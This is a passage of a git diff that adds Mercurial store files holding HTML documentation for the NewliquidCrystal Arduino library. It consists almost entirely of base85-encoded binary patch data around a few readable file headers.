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 GOD0`%7=sJ| literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r3__w__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r3__w__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..e807f4fe2ccf6b6f97d32663c2a6a5497b9562c4 GIT binary patch literal 2644 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..35939f2663a95f7f55415bb324516aaf3ca00f0e GIT binary patch literal 41654 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 